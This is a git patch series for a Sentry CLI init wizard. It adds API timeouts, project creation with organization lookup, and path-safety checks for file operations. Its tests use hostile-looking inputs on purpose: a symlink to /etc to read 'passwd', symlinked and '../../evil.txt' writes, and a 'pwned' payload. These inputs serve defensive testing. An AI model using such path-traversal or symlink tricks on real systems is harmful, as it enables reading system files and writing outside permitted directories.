VERIFY_CHANGES_STEP, @@ -136,6 +137,33 @@ function assertSuspendPayload(raw: unknown): SuspendPayload { return obj as SuspendPayload; } +/** + * Race a promise against a timeout. Rejects with a descriptive error + * if the promise doesn't settle within `ms` milliseconds. + */ +function withTimeout( + promise: Promise, + ms: number, + label: string +): Promise { + return new Promise((resolve, reject) => { + const timer = setTimeout( + () => reject(new Error(`${label} timed out after ${ms / 1000}s`)), + ms + ); + promise.then( + (val) => { + clearTimeout(timer); + resolve(val); + }, + (err) => { + clearTimeout(timer); + reject(err); + } + ); + }); +} + export async function runWizard(options: WizardOptions): Promise { const { directory, force, yes, dryRun, features } = options; @@ -189,10 +217,14 @@ export async function runWizard(options: WizardOptions): Promise { spin.message("Connecting to wizard..."); run = await workflow.createRun(); result = assertWorkflowResult( - await run.startAsync({ - inputData: { directory, force, yes, dryRun, features, dirListing }, - tracingOptions, - }) + await withTimeout( + run.startAsync({ + inputData: { directory, force, yes, dryRun, features, dirListing }, + tracingOptions, + }), + API_TIMEOUT_MS, + "Workflow start" + ) ); } catch (err) { spin.stop("Connection failed", 1); @@ -226,11 +258,15 @@ export async function runWizard(options: WizardOptions): Promise { ); result = assertWorkflowResult( - await run.resumeAsync({ - step: extracted.stepId, - resumeData, - tracingOptions, - }) + await withTimeout( + run.resumeAsync({ + step: extracted.stepId, + resumeData, + tracingOptions, + }), + API_TIMEOUT_MS, + "Workflow resume" + ) ); } } catch (err) { diff --git a/test/isolated/init-wizard-runner.test.ts b/test/isolated/init-wizard-runner.test.ts deleted file mode 100644 index 7e5e6047..00000000 --- a/test/isolated/init-wizard-runner.test.ts +++ /dev/null @@ -1,449 +0,0 @@ -/** - * Isolated tests for the init wizard runner. - * - * Uses mock.module() to stub heavy dependencies (MastraClient, clack, handlers, - * auth, help). Kept isolated to avoid module-level mock leakage. - */ - -import { beforeEach, describe, expect, mock, spyOn, test } from "bun:test"; -import type { - WizardOptions, - WorkflowRunResult, -} from "../../src/lib/init/types.js"; - -// ── Clack mocks ──────────────────────────────────────────────────────────── -const spinnerMock = { - start: mock(), - stop: mock(), - message: mock(), -}; -const introMock = mock(); -const logMock = { info: mock(), warn: mock(), error: mock() }; -const cancelMock = mock(); - -mock.module("@clack/prompts", () => ({ - spinner: () => spinnerMock, - intro: introMock, - log: logMock, - cancel: cancelMock, - note: mock(), - outro: mock(), - select: mock(), - multiselect: mock(), - confirm: mock(), - isCancel: (v: unknown) => v === Symbol.for("cancel"), -})); - -// ── Handler mocks ────────────────────────────────────────────────────────── -const mockHandleLocalOp = mock(() => - Promise.resolve({ ok: true, data: { results: [] } }) -); -mock.module("../../src/lib/init/local-ops.js", () => ({ - handleLocalOp: mockHandleLocalOp, - precomputeDirListing: () => [], - validateCommand: () => { - /* noop mock */ - }, -})); - -const mockHandleInteractive = mock(() => - Promise.resolve({ action: "continue" }) -); -mock.module("../../src/lib/init/interactive.js", () => ({ - handleInteractive: mockHandleInteractive, -})); - -const mockFormatResult = mock(); -const mockFormatError = mock(); -mock.module("../../src/lib/init/formatters.js", () => ({ - formatResult: mockFormatResult, - formatError: mockFormatError, -})); - -mock.module("../../src/lib/db/auth.js", () => ({ - getAuthToken: () => "fake-token", - isAuthenticated: () => Promise.resolve(false), -})); - -mock.module("../../src/lib/banner.js", () => ({ - formatBanner: () => "BANNER", -})); - -// ── MastraClient mock ────────────────────────────────────────────────────── -let mockStartResult: WorkflowRunResult = { status: "success" }; -let mockResumeResults: WorkflowRunResult[] = []; -let resumeCallCount = 0; -let startShouldThrow = false; - -const mockResumeAsync = mock(() => { - const result = mockResumeResults[resumeCallCount] ?? { - status: "success", - }; - resumeCallCount += 1; - return Promise.resolve(result); -}); - -mock.module("@mastra/client-js", () => ({ - MastraClient: class { - getWorkflow() { - return { - createRun: () => - Promise.resolve({ - startAsync: () => { - if (startShouldThrow) { - return Promise.reject(new Error("Connection refused")); - } - return Promise.resolve(mockStartResult); - }, - resumeAsync: mockResumeAsync, - }), - }; - } - }, -})); - -const { runWizard } = await import("../../src/lib/init/wizard-runner.js"); - -function makeOptions(overrides?: Partial): WizardOptions { - return { - directory: "/tmp/test", - force: false, - yes: true, // default to --yes to avoid TTY check - dryRun: false, - ...overrides, - }; -} - -function resetAllMocks() { - spinnerMock.start.mockClear(); - spinnerMock.stop.mockClear(); - spinnerMock.message.mockClear(); - introMock.mockClear(); - logMock.info.mockClear(); - logMock.warn.mockClear(); - logMock.error.mockClear(); - cancelMock.mockClear(); - mockHandleLocalOp.mockClear(); - mockHandleInteractive.mockClear(); - mockFormatResult.mockClear(); - mockFormatError.mockClear(); - - mockStartResult = { status: "success" }; - mockResumeResults = []; - resumeCallCount = 0; - startShouldThrow = false; - mockResumeAsync.mockClear(); - process.exitCode = 0; -} - -describe("runWizard", () => { - beforeEach(resetAllMocks); - - describe("TTY check", () => { - test("writes error to stderr when not TTY and not --yes", async () => { - const origIsTTY = process.stdin.isTTY; - Object.defineProperty(process.stdin, "isTTY", { - value: false, - configurable: true, - }); - - const stderrSpy = spyOn(process.stderr, "write"); - - await runWizard(makeOptions({ yes: false })); - - Object.defineProperty(process.stdin, "isTTY", { - value: origIsTTY, - configurable: true, - }); - - const written = stderrSpy.mock.calls.map((c) => String(c[0])).join(""); - stderrSpy.mockRestore(); - - expect(written).toContain("Interactive mode requires a terminal"); - - // Clean up the exitCode set by the wizard - process.exitCode = 0; - }); - }); - - describe("success path", () => { - test("calls formatResult when workflow completes successfully", async () => { - mockStartResult = { status: "success", result: { platform: "React" } }; - - await runWizard(makeOptions()); - - expect(mockFormatResult).toHaveBeenCalled(); - expect(mockFormatError).not.toHaveBeenCalled(); - }); - }); - - describe("error paths", () => { - test("calls formatError when workflow fails", async () => { - mockStartResult = { status: "failed", error: "workflow exploded" }; - - await runWizard(makeOptions()); - - expect(mockFormatError).toHaveBeenCalled(); - expect(mockFormatResult).not.toHaveBeenCalled(); - }); - - test("treats success with exitCode as error", async () => { - mockStartResult = { - status: "success", - result: { exitCode: 10 }, - }; - - await runWizard(makeOptions()); - - expect(mockFormatError).toHaveBeenCalled(); - }); - - test("handles connection error gracefully", async () => { - startShouldThrow = true; - - await runWizard(makeOptions()); - - expect(logMock.error).toHaveBeenCalledWith("Connection refused"); - expect(cancelMock).toHaveBeenCalledWith("Setup failed"); - }); - }); - - describe("suspend/resume loop", () => { - test("dispatches local-op payload to handleLocalOp", async () => { - mockStartResult = { - status: "suspended", - suspended: [["detect-platform"]], - steps: { - "detect-platform": { - suspendPayload: { - type: "local-op", - operation: "list-dir", - cwd: "/app", - params: { path: "." }, - }, - }, - }, - }; - mockResumeResults = [{ status: "success" }]; - - await runWizard(makeOptions()); - - expect(mockHandleLocalOp).toHaveBeenCalled(); - const payload = mockHandleLocalOp.mock.calls[0][0] as { - type: string; - operation: string; - }; - expect(payload.type).toBe("local-op"); - expect(payload.operation).toBe("list-dir"); - }); - - test("dispatches interactive payload to handleInteractive", async () => { - mockStartResult = { - status: "suspended", - suspended: [["select-features"]], - steps: { - "select-features": { - suspendPayload: { - type: "interactive", - kind: "multi-select", - prompt: "Select features", - availableFeatures: ["errorMonitoring"], - }, - }, - }, - }; - mockResumeResults = [{ status: "success" }]; - - await runWizard(makeOptions()); - - expect(mockHandleInteractive).toHaveBeenCalled(); - const payload = mockHandleInteractive.mock.calls[0][0] as { - type: string; - kind: string; - }; - expect(payload.type).toBe("interactive"); - expect(payload.kind).toBe("multi-select"); - }); - - test("falls back to result.suspendPayload when step payload missing", async () => { - mockStartResult = { - status: "suspended", - suspended: [["unknown-step"]], - steps: {}, - suspendPayload: { - type: "local-op", - operation: "read-files", - cwd: "/app", - params: { paths: ["package.json"] }, - }, - }; - mockResumeResults = [{ status: "success" }]; - - await runWizard(makeOptions()); - - expect(mockHandleLocalOp).toHaveBeenCalled(); - }); - - test("auto-continues verify-changes in dry-run mode", async () => { - mockStartResult = { - status: "suspended", - suspended: [["verify-changes"]], - steps: { - "verify-changes": { - suspendPayload: { - type: "interactive", - kind: "confirm", - prompt: "Changes look good?", - }, - }, - }, - }; - mockResumeResults = [{ status: "success" }]; - - await runWizard(makeOptions({ dryRun: true })); - - // handleInteractive should NOT be called — dry-run auto-continues - expect(mockHandleInteractive).not.toHaveBeenCalled(); - }); - - test("handles unknown suspend payload type", async () => { - mockStartResult = { - status: "suspended", - suspended: [["some-step"]], - steps: { - "some-step": { - suspendPayload: { type: "alien", data: 42 }, - }, - }, - }; - - await runWizard(makeOptions()); - - expect(logMock.error).toHaveBeenCalled(); - const errorMsg: string = logMock.error.mock.calls[0][0]; - expect(errorMsg).toContain("alien"); - }); - - test("handles multiple suspend/resume iterations", async () => { - // First iteration: local-op, second: interactive, third: success - mockStartResult = { - status: "suspended", - suspended: [["detect-platform"]], - steps: { - "detect-platform": { - suspendPayload: { - type: "local-op", - operation: "list-dir", - cwd: "/app", - params: { path: "." }, - }, - }, - }, - }; - mockResumeResults = [ - { - status: "suspended", - suspended: [["select-features"]], - steps: { - "select-features": { - suspendPayload: { - type: "interactive", - kind: "multi-select", - prompt: "Select features", - availableFeatures: ["errorMonitoring"], - }, - }, - }, - }, - { status: "success" }, - ]; - - await runWizard(makeOptions()); - - expect(mockHandleLocalOp).toHaveBeenCalledTimes(1); - expect(mockHandleInteractive).toHaveBeenCalledTimes(1); - expect(mockFormatResult).toHaveBeenCalled(); - }); - - test("handles non-Error exception in catch block", async () => { - mockHandleLocalOp.mockImplementationOnce(() => - Promise.reject("string error") - ); - - mockStartResult = { - status: "suspended", - suspended: [["detect-platform"]], - steps: { - "detect-platform": { - suspendPayload: { - type: "local-op", - operation: "list-dir", - cwd: "/app", - params: { path: "." }, - }, - }, - }, - }; - - await runWizard(makeOptions()); - - expect(logMock.error).toHaveBeenCalledWith("string error"); - expect(cancelMock).toHaveBeenCalledWith("Setup failed"); - }); - - test("falls back to iterating steps when stepId key not found", async () => { - // The suspend path references "step-a" but the payload is under "step-b" - mockStartResult = { - status: "suspended", - suspended: [["step-a"]], - steps: { - "step-b": { - suspendPayload: { - type: "local-op", - operation: "read-files", - cwd: "/app", - params: { paths: ["index.ts"] }, - }, - }, - }, - }; - mockResumeResults = [{ status: "success" }]; - - await runWizard(makeOptions()); - - expect(mockHandleLocalOp).toHaveBeenCalled(); - // resumeAsync should be called with the actual key ("step-b"), not the - // original stepId ("step-a") from result.suspended - expect(mockResumeAsync).toHaveBeenCalledWith( - expect.objectContaining({ step: "step-b" }) - ); - }); - - test("handles missing suspend payload", async () => { - mockStartResult = { - status: "suspended", - suspended: [["empty-step"]], - steps: {}, - }; - - await runWizard(makeOptions()); - - expect(logMock.error).toHaveBeenCalled(); - const errorMsg: string = logMock.error.mock.calls[0][0]; - expect(errorMsg).toContain("No suspend payload"); - expect(process.exitCode).toBe(1); - }); - }); - - describe("dry-run mode", () => { - test("shows dry-run warning on start", async () => { - mockStartResult = { status: "success" }; - - await runWizard(makeOptions({ dryRun: true })); - - expect(logMock.warn).toHaveBeenCalled(); - const warnMsg: string = logMock.warn.mock.calls[0][0]; - expect(warnMsg).toContain("Dry-run"); - }); - }); -}); diff --git a/test/lib/init/local-ops.test.ts b/test/lib/init/local-ops.test.ts index 55feddf7..22511674 100644 --- a/test/lib/init/local-ops.test.ts +++ b/test/lib/init/local-ops.test.ts @@ -1,5 +1,11 @@ import { afterEach, beforeEach, describe, expect, test } from "bun:test"; -import fs, { mkdirSync, mkdtempSync, rmSync, writeFileSync } from "node:fs"; +import fs, { + mkdirSync, + mkdtempSync, + rmSync, + symlinkSync, + writeFileSync, +} from "node:fs"; import { join } from "node:path"; import { handleLocalOp, @@ -272,6 +278,67 @@ describe("handleLocalOp", () => { }); }); + describe("symlink protection", () => { + test("rejects symlink pointing outside project in read-files", async () => { + symlinkSync("/etc", join(testDir, "escape-link")); + + const payload: ReadFilesPayload = { + type: "local-op", + operation: "read-files", + cwd: testDir, + params: { paths: ["escape-link/passwd"] }, + }; + + const result = await handleLocalOp(payload, options); + expect(result.ok).toBe(true); + // read-files catches per-file errors and returns null + const files = (result.data as { files: Record }) + .files; + expect(files["escape-link/passwd"]).toBeNull(); + }); + + test("rejects symlink parent directory in apply-patchset create", async () => { + symlinkSync("/tmp", join(testDir, "link-out")); + + const payload: ApplyPatchsetPayload = { + type: "local-op", + operation: "apply-patchset", + cwd: testDir, + params: { + patches: [ + { + path: "link-out/evil.txt", + action: "create", + patch: "pwned", + }, + ], + }, + }; + + const result = await handleLocalOp(payload, options); + expect(result.ok).toBe(false); + expect(result.error).toContain("via symlink"); + }); + + test("allows regular files and directories (no false positives)", async () => { + mkdirSync(join(testDir, "real-dir")); + writeFileSync(join(testDir, "real-dir", "file.txt"), "safe"); + + const payload: ReadFilesPayload = { + type: "local-op", + operation: "read-files", + cwd: testDir, + params: { paths: ["real-dir/file.txt"] }, + }; + + const result = await handleLocalOp(payload, options); + expect(result.ok).toBe(true); + const files = (result.data as { files: Record }) + .files; + expect(files["real-dir/file.txt"]).toBe("safe"); + }); + }); + describe("list-dir", () => { test("lists files and directories with correct types", async () => { writeFileSync(join(testDir, "file1.txt"), "a"); diff --git a/test/lib/init/wizard-runner.test.ts b/test/lib/init/wizard-runner.test.ts index 8634be4b..c9d2fdc4 100644 --- a/test/lib/init/wizard-runner.test.ts +++ b/test/lib/init/wizard-runner.test.ts @@ -11,6 +11,7 @@ import { beforeEach, describe, expect, + jest, mock, spyOn, test, @@ -219,6 +220,46 @@ describe("runWizard", () => { }); describe("connection error", () => { + test("times out if startAsync hangs", async () => { + jest.useFakeTimers(); + + const hangingRun = { + startAsync: mock( + () => + new Promise(() => { + /* never resolves */ + }) + ), + resumeAsync: mock(), + }; + const hangingWorkflow = { + createRun: mock(() => Promise.resolve(hangingRun)), + }; + getWorkflowSpy.mockReturnValue(hangingWorkflow as any); + + const { API_TIMEOUT_MS } = await import( + "../../../src/lib/init/constants.js" + ); + + const promise = runWizard(makeOptions()); + + // Flush microtasks so runWizard reaches the withTimeout setTimeout + await Promise.resolve(); + await Promise.resolve(); + + // Advance past the timeout + jest.advanceTimersByTime(API_TIMEOUT_MS); + + await promise; + + expect(logErrorSpy).toHaveBeenCalled(); + const errorMsg: string = logErrorSpy.mock.calls[0][0]; + expect(errorMsg).toContain("timed out"); + expect(process.exitCode).toBe(1); + + jest.useRealTimers(); + }); + test("handles startAsync rejection gracefully", async () => { const failingRun = { startAsync: mock(() => Promise.reject(new Error("Connection refused"))), From af6757824883fdd0b573d789036b45023a898eb5 Mon Sep 17 00:00:00 2001 From: betegon Date: Tue, 3 Mar 2026 21:11:00 +0100 Subject: [PATCH 62/72] fix(init): restore production API URL and validate-all-then-execute for patchsets Restore MASTRA_API_URL to production Cloudflare Worker with env var override (was hardcoded to localhost:8787). Add upfront safePath() validation in applyPatchset() so no files are written if any patch targets an unsafe path. Co-Authored-By: Claude Opus 4.6 --- src/lib/init/constants.ts | 4 +++- src/lib/init/local-ops.ts | 7 +++++++ test/init-eval/helpers/run-wizard.ts | 2 +- test/lib/init/local-ops.test.ts | 21 +++++++++++++++++++++ 4 files changed, 32 insertions(+), 2 deletions(-) diff --git a/src/lib/init/constants.ts b/src/lib/init/constants.ts index 4ea43a39..898a1e2e 100644 --- a/src/lib/init/constants.ts +++ b/src/lib/init/constants.ts @@ -1,4 +1,6 @@ -export const MASTRA_API_URL = "http://localhost:8787"; +export const MASTRA_API_URL = + process.env.MASTRA_API_URL ?? + "https://sentry-init-agent.getsentry.workers.dev"; export const WORKFLOW_ID = "sentry-wizard"; diff --git a/src/lib/init/local-ops.ts b/src/lib/init/local-ops.ts index 31575c33..beabe248 100644 --- a/src/lib/init/local-ops.ts +++ b/src/lib/init/local-ops.ts @@ -488,6 +488,13 @@ function applyPatchset( } const { cwd, params } = payload; + + // Phase 1: Validate all paths before writing anything + for (const patch of params.patches) { + safePath(cwd, patch.path); + } + + // Phase 2: Apply patches const applied: Array<{ path: string; action: string }> = []; for (const patch of params.patches) { diff --git a/test/init-eval/helpers/run-wizard.ts b/test/init-eval/helpers/run-wizard.ts index a7561816..c7cfeb3d 100644 --- a/test/init-eval/helpers/run-wizard.ts +++ b/test/init-eval/helpers/run-wizard.ts @@ -69,7 +69,7 @@ export async function runWizard( env: { ...process.env, // Override the hardcoded Mastra URL to point at local/test server - SENTRY_WIZARD_API_URL: mastraUrl, + MASTRA_API_URL: mastraUrl, // Disable telemetry SENTRY_CLI_NO_TELEMETRY: "1", }, diff --git a/test/lib/init/local-ops.test.ts b/test/lib/init/local-ops.test.ts index 22511674..d8d7c198 100644 --- a/test/lib/init/local-ops.test.ts +++ b/test/lib/init/local-ops.test.ts @@ -857,6 +857,27 @@ describe("handleLocalOp", () => { expect(fs.existsSync(join(testDir, "phantom.txt"))).toBe(false); }); + test("rejects entire patchset if any path is unsafe (no partial writes)", async () => { + const payload: ApplyPatchsetPayload = { + type: "local-op", + operation: "apply-patchset", + cwd: testDir, + params: { + patches: [ + { path: "safe.txt", action: "create", patch: "good content" }, + { path: "../../evil.txt", action: "create", patch: "bad" }, + ], + }, + }; + + const result = await handleLocalOp(payload, options); + expect(result.ok).toBe(false); + expect(result.error).toContain("outside project directory"); + + // First patch must NOT have been written + expect(fs.existsSync(join(testDir, "safe.txt"))).toBe(false); + }); + test("dry-run still validates path safety", async () => { const payload: ApplyPatchsetPayload = { type: "local-op", From 30eb4e8e65357b70bea5d20623cd40fb0bf8e40e Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miguel=20Beteg=C3=B3n?= Date: Wed, 4 Mar 2026 16:46:50 +0100 Subject: [PATCH 63/72] feat(init): add create-sentry-project local op with org resolution fallback (#333) ## Summary Adds the `create-sentry-project` local operation so the remote workflow can ask the CLI to create a Sentry project. Resolves the org via local config / env vars first, falling back to listing orgs from the API (auto-selects if only one, prompts interactively if multiple). ## Changes - New `createSentryProject` handler in `local-ops.ts` with extracted `resolveOrgSlug` helper that handles all org resolution paths (config, single-org auto-select, multi-org interactive prompt, `--yes` guard) - `CreateSentryProjectPayload` type added to `types.ts` - Test suite covering success, single-org fallback, no-orgs, multi-org `--yes`, interactive select, user cancel, API error, and missing DSN paths - Downstream mock setup extracted into `mockDownstreamSuccess` helper to reduce test duplication ## Test Plan ```bash bun test test/lib/init/local-ops.create-sentry-project.test.ts # 8 pass bun run lint # clean ``` --------- Co-authored-by: Claude Opus 4.6 --- src/commands/project/create.ts | 20 +- src/lib/init/local-ops.ts | 116 +++++++++ src/lib/init/types.ts | 13 +- src/lib/utils.ts | 19 ++ .../local-ops.create-sentry-project.test.ts | 245 ++++++++++++++++++ 5 files changed, 393 insertions(+), 20 deletions(-) create mode 100644 test/lib/init/local-ops.create-sentry-project.test.ts diff --git a/src/commands/project/create.ts b/src/commands/project/create.ts index 0f8310f1..fc5b0f62 100644 --- a/src/commands/project/create.ts +++ b/src/commands/project/create.ts @@ -42,6 +42,7 @@ import { resolveOrCreateTeam, } from "../../lib/resolve-team.js"; import { buildProjectUrl } from "../../lib/sentry-urls.js"; +import { slugify } from "../../lib/utils.js"; import type { SentryProject, SentryTeam } from "../../types/index.js"; /** Usage hint template — base command without positionals */ @@ -89,25 +90,6 @@ const PLATFORMS = [ "elixir", ] as const; -/** - * Convert a project name to its expected Sentry slug. - * Aligned with Sentry's canonical implementation: - * https://github.com/getsentry/sentry/blob/master/static/app/utils/slugify.tsx - * - * @example slugify("My Cool App") // "my-cool-app" - * @example slugify("my-app") // "my-app" - * @example slugify("Café Project") // "cafe-project" - * @example slugify("my_app") // "my_app" - */ -function slugify(name: string): string { - return name - .normalize("NFKD") - .toLowerCase() - .replace(/[^a-z0-9_\s-]/g, "") - .replace(/[-\s]+/g, "-") - .replace(/^-|-$/g, ""); -} - /** * Check whether an API error is about an invalid platform value. * Relies on Sentry's error message wording — may need updating if the API changes. diff --git a/src/lib/init/local-ops.ts b/src/lib/init/local-ops.ts index beabe248..7977ed00 100644 --- a/src/lib/init/local-ops.ts +++ b/src/lib/init/local-ops.ts @@ -8,6 +8,16 @@ import { spawn } from "node:child_process"; import fs from "node:fs"; import path from "node:path"; +import { isCancel, select } from "@clack/prompts"; +import { + createProject, + listOrganizations, + tryGetPrimaryDsn, +} from "../api-client.js"; +import { resolveOrg } from "../resolve-target.js"; +import { resolveOrCreateTeam } from "../resolve-team.js"; +import { buildProjectUrl } from "../sentry-urls.js"; +import { slugify } from "../utils.js"; import { DEFAULT_COMMAND_TIMEOUT_MS, MAX_FILE_BYTES, @@ -15,6 +25,7 @@ import { } from "./constants.js"; import type { ApplyPatchsetPayload, + CreateSentryProjectPayload, DirEntry, FileExistsBatchPayload, ListDirPayload, @@ -250,6 +261,8 @@ export async function handleLocalOp( return await runCommands(payload, options.dryRun); case "apply-patchset": return await applyPatchset(payload, options.dryRun); + case "create-sentry-project": + return await createSentryProject(payload, options); default: return { ok: false, @@ -533,3 +546,106 @@ function applyPatchset( return { ok: true, data: { applied } }; } + +/** + * Resolve the org slug from local config, env vars, or by listing the user's + * organizations from the API as a fallback. + * Returns the slug on success, or a LocalOpResult error to return early. + */ +async function resolveOrgSlug( + cwd: string, + yes: boolean +): Promise { + const resolved = await resolveOrg({ cwd }); + if (resolved) { + return resolved.org; + } + + // Fallback: list user's organizations from API + const orgs = await listOrganizations(); + if (orgs.length === 0) { + return { + ok: false, + error: "Not authenticated. Run 'sentry login' first.", + }; + } + if (orgs.length === 1 && orgs[0]) { + return orgs[0].slug; + } + + // Multiple orgs — interactive selection + if (yes) { + const slugs = orgs.map((o) => o.slug).join(", "); + return { + ok: false, + error: `Multiple organizations found (${slugs}). Set SENTRY_ORG to specify which one.`, + }; + } + const selected = await select({ + message: "Which organization should the project be created in?", + options: orgs.map((o) => ({ + value: o.slug, + label: o.name, + hint: o.slug, + })), + }); + if (isCancel(selected)) { + return { ok: false, error: "Organization selection cancelled." }; + } + return selected; +} + +async function createSentryProject( + payload: CreateSentryProjectPayload, + options: WizardOptions +): Promise { + const { name, platform } = payload.params; + const slug = slugify(name); + if (!slug) { + return { + ok: false, + error: `Invalid project name: "${name}" produces an empty slug.`, + }; + } + + try { + // 1. Resolve org + const orgResult = await resolveOrgSlug(payload.cwd, options.yes); + if (typeof orgResult !== "string") { + return orgResult; + } + const orgSlug = orgResult; + + // 2. Resolve or create team + const team = await resolveOrCreateTeam(orgSlug, { + autoCreateSlug: slug, + usageHint: "sentry init", + }); + + // 3. Create project + const project = await createProject(orgSlug, team.slug, { + name, + platform, + }); + + // 4. Get DSN (best-effort) + const dsn = await tryGetPrimaryDsn(orgSlug, project.slug); + + // 5. Build URL + const url = buildProjectUrl(orgSlug, project.slug); + + return { + ok: true, + data: { + orgSlug, + projectSlug: project.slug, + projectId: project.id, + dsn: dsn ?? "", + url, + }, + }; + } catch (error) { + const message = error instanceof Error ? error.message : String(error); + return { ok: false, error: message }; + } +} diff --git a/src/lib/init/types.ts b/src/lib/init/types.ts index 8e7e9851..a85f872e 100644 --- a/src/lib/init/types.ts +++ b/src/lib/init/types.ts @@ -19,7 +19,8 @@ export type LocalOpPayload = | ReadFilesPayload | FileExistsBatchPayload | RunCommandsPayload - | ApplyPatchsetPayload; + | ApplyPatchsetPayload + | CreateSentryProjectPayload; export type ListDirPayload = { type: "local-op"; @@ -75,6 +76,16 @@ export type ApplyPatchsetPayload = { }; }; +export type CreateSentryProjectPayload = { + type: "local-op"; + operation: "create-sentry-project"; + cwd: string; + params: { + name: string; + platform: string; + }; +}; + export type LocalOpResult = { ok: boolean; error?: string; diff --git a/src/lib/utils.ts b/src/lib/utils.ts index e2d8949e..c35405dd 100644 --- a/src/lib/utils.ts +++ b/src/lib/utils.ts @@ -20,6 +20,25 @@ export function isAllDigits(str: string): boolean { return ALL_DIGITS_PATTERN.test(str); } +/** + * Convert a project name to its expected Sentry slug. + * Aligned with Sentry's canonical implementation: + * https://github.com/getsentry/sentry/blob/master/static/app/utils/slugify.tsx + * + * @example slugify("My Cool App") // "my-cool-app" + * @example slugify("my-app") // "my-app" + * @example slugify("Café Project") // "cafe-project" + * @example slugify("my_app") // "my_app" + */ +export function slugify(name: string): string { + return name + .normalize("NFKD") + .toLowerCase() + .replace(/[^a-z0-9_\s-]/g, "") + .replace(/[-\s]+/g, "-") + .replace(/^-|-$/g, ""); +} + /** * Determine the real (non-root) username of the invoking user. * diff --git a/test/lib/init/local-ops.create-sentry-project.test.ts b/test/lib/init/local-ops.create-sentry-project.test.ts new file mode 100644 index 00000000..718803a6 --- /dev/null +++ b/test/lib/init/local-ops.create-sentry-project.test.ts @@ -0,0 +1,245 @@ +/** + * create-sentry-project local-op tests + * + * Uses spyOn on namespace imports so that the spies intercept calls + * from within the local-ops module (live ESM bindings). + */ + +import { afterEach, beforeEach, describe, expect, spyOn, test } from "bun:test"; +// biome-ignore lint/performance/noNamespaceImport: spyOn requires object reference +import * as clack from "@clack/prompts"; +// biome-ignore lint/performance/noNamespaceImport: spyOn requires object reference +import * as apiClient from "../../../src/lib/api-client.js"; +import { handleLocalOp } from "../../../src/lib/init/local-ops.js"; +import type { + CreateSentryProjectPayload, + WizardOptions, +} from "../../../src/lib/init/types.js"; +// biome-ignore lint/performance/noNamespaceImport: spyOn requires object reference +import * as resolveTarget from "../../../src/lib/resolve-target.js"; +// biome-ignore lint/performance/noNamespaceImport: spyOn requires object reference +import * as resolveTeam from "../../../src/lib/resolve-team.js"; +// biome-ignore lint/performance/noNamespaceImport: spyOn requires object reference +import * as sentryUrls from "../../../src/lib/sentry-urls.js"; +import type { SentryProject } from "../../../src/types/index.js"; + +function makeOptions(overrides?: Partial): WizardOptions { + return { + directory: "/tmp/test", + force: false, + yes: false, + dryRun: false, + ...overrides, + }; +} + +function makePayload( + overrides?: Partial +): CreateSentryProjectPayload { + return { + type: "local-op", + operation: "create-sentry-project", + cwd: "/tmp/test", + params: { + name: "my-app", + platform: "javascript-nextjs", + ...overrides, + }, + }; +} + +const sampleProject: SentryProject = { + id: "42", + slug: "my-app", + name: "my-app", + platform: "javascript-nextjs", + dateCreated: "2026-03-04T00:00:00Z", +}; + +describe("create-sentry-project", () => { + let resolveOrgSpy: ReturnType; + let listOrgsSpy: ReturnType; + let resolveOrCreateTeamSpy: ReturnType; + let createProjectSpy: ReturnType; + let tryGetPrimaryDsnSpy: ReturnType; + let buildProjectUrlSpy: ReturnType; + let selectSpy: ReturnType; + let isCancelSpy: ReturnType; + + beforeEach(() => { + resolveOrgSpy = spyOn(resolveTarget, "resolveOrg"); + listOrgsSpy = spyOn(apiClient, "listOrganizations"); + resolveOrCreateTeamSpy = spyOn(resolveTeam, "resolveOrCreateTeam"); + createProjectSpy = spyOn(apiClient, "createProject"); + tryGetPrimaryDsnSpy = spyOn(apiClient, "tryGetPrimaryDsn"); + buildProjectUrlSpy = spyOn(sentryUrls, "buildProjectUrl"); + selectSpy = spyOn(clack, "select"); + isCancelSpy = spyOn(clack, "isCancel").mockImplementation( + (v: unknown) => v === Symbol.for("cancel") + ); + }); + + afterEach(() => { + resolveOrgSpy.mockRestore(); + listOrgsSpy.mockRestore(); + resolveOrCreateTeamSpy.mockRestore(); + createProjectSpy.mockRestore(); + tryGetPrimaryDsnSpy.mockRestore(); + buildProjectUrlSpy.mockRestore(); + selectSpy.mockRestore(); + isCancelSpy.mockRestore(); + }); + + function mockDownstreamSuccess(orgSlug: string) { + resolveOrCreateTeamSpy.mockResolvedValue({ + slug: "engineering", + source: "auto-selected", + }); + createProjectSpy.mockResolvedValue(sampleProject); + tryGetPrimaryDsnSpy.mockResolvedValue("https://abc@o1.ingest.sentry.io/42"); + buildProjectUrlSpy.mockReturnValue( + `https://sentry.io/settings/${orgSlug}/projects/my-app/` + ); + } + + test("success path returns project details", async () => { + resolveOrgSpy.mockResolvedValue({ org: "acme-corp" }); + mockDownstreamSuccess("acme-corp"); + + const result = await handleLocalOp(makePayload(), makeOptions()); + + expect(result.ok).toBe(true); + const data = result.data as { + orgSlug: string; + projectSlug: string; + projectId: string; + dsn: string; + url: string; + }; + expect(data.orgSlug).toBe("acme-corp"); + expect(data.projectSlug).toBe("my-app"); + expect(data.projectId).toBe("42"); + expect(data.dsn).toBe("https://abc@o1.ingest.sentry.io/42"); + expect(data.url).toBe( + "https://sentry.io/settings/acme-corp/projects/my-app/" + ); + + // Verify resolveOrCreateTeam was called with slugified name + expect(resolveOrCreateTeamSpy).toHaveBeenCalledWith("acme-corp", { + autoCreateSlug: "my-app", + usageHint: "sentry init", + }); + }); + + test("single org fallback when resolveOrg returns null", async () => { + resolveOrgSpy.mockResolvedValue(null); + listOrgsSpy.mockResolvedValue([ + { id: "1", slug: "solo-org", name: "Solo Org" }, + ]); + mockDownstreamSuccess("solo-org"); + + const result = await handleLocalOp(makePayload(), makeOptions()); + + expect(result.ok).toBe(true); + const data = result.data as { orgSlug: string }; + expect(data.orgSlug).toBe("solo-org"); + expect(selectSpy).not.toHaveBeenCalled(); + }); + + test("no orgs (not authenticated) returns ok:false", async () => { + resolveOrgSpy.mockResolvedValue(null); + listOrgsSpy.mockResolvedValue([]); + + const result = await handleLocalOp(makePayload(), makeOptions()); + + expect(result.ok).toBe(false); + expect(result.error).toContain("Not authenticated"); + expect(createProjectSpy).not.toHaveBeenCalled(); + }); + + test("multiple orgs + --yes flag returns ok:false with slug list", async () => { + resolveOrgSpy.mockResolvedValue(null); + listOrgsSpy.mockResolvedValue([ + { id: "1", slug: "org-a", name: "Org A" }, + { id: "2", slug: "org-b", name: "Org B" }, + ]); + + const result = await handleLocalOp( + makePayload(), + makeOptions({ yes: true }) + ); + + expect(result.ok).toBe(false); + expect(result.error).toContain("Multiple organizations found"); + expect(result.error).toContain("org-a"); + expect(result.error).toContain("org-b"); + 